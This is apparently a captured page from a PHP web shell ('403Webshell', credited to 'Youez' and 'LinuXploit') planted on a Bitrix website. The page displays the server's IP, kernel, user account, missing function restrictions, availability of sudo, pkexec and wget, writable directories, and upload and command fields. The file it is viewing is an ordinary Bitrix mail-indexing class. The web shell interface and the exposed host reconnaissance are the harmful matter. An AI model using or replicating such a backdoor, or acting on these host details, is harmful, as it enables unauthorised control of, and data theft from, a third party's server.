403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/helper/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/helper/messageindexstepper.php
<?php

namespace Bitrix\Mail\Helper;

use Bitrix\Main;
use Bitrix\Mail;

class MessageIndexStepper extends Main\Update\Stepper
{
	const INDEX_VERSION = 1;

	protected static $moduleId = 'mail';

	public function execute(array &$option)
	{
		$option['steps'] = Mail\MailMessageTable::getCount(array(
			'=INDEX_VERSION' => static::INDEX_VERSION,
		));
		$option['count'] = Mail\MailMessageTable::getCount(array(
			'<=INDEX_VERSION' => static::INDEX_VERSION,
		));

		if ($option['steps'] >= $option['count'])
		{
			return false;
		}

		$res = Mail\MailMessageTable::getList(array(
			'select' => array(
				'ID',
				'FIELD_FROM', 'FIELD_REPLY_TO',
				'FIELD_TO', 'FIELD_CC', 'FIELD_BCC',
				'SUBJECT', 'BODY',
			),
			'filter' => array(
				'<INDEX_VERSION' => static::INDEX_VERSION,
			),
			'order' => array('ID' => 'ASC'),
			'limit' => 1000,
		));

		while ($item = $res->fetch())
		{
			$option['steps']++;

			$fields = array(
				'SEARCH_CONTENT' => Message::prepareSearchContent($item),
				'INDEX_VERSION' => static::INDEX_VERSION,
			);

			Mail\MailMessageTable::update($item['ID'], $fields);
		}

		return true;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit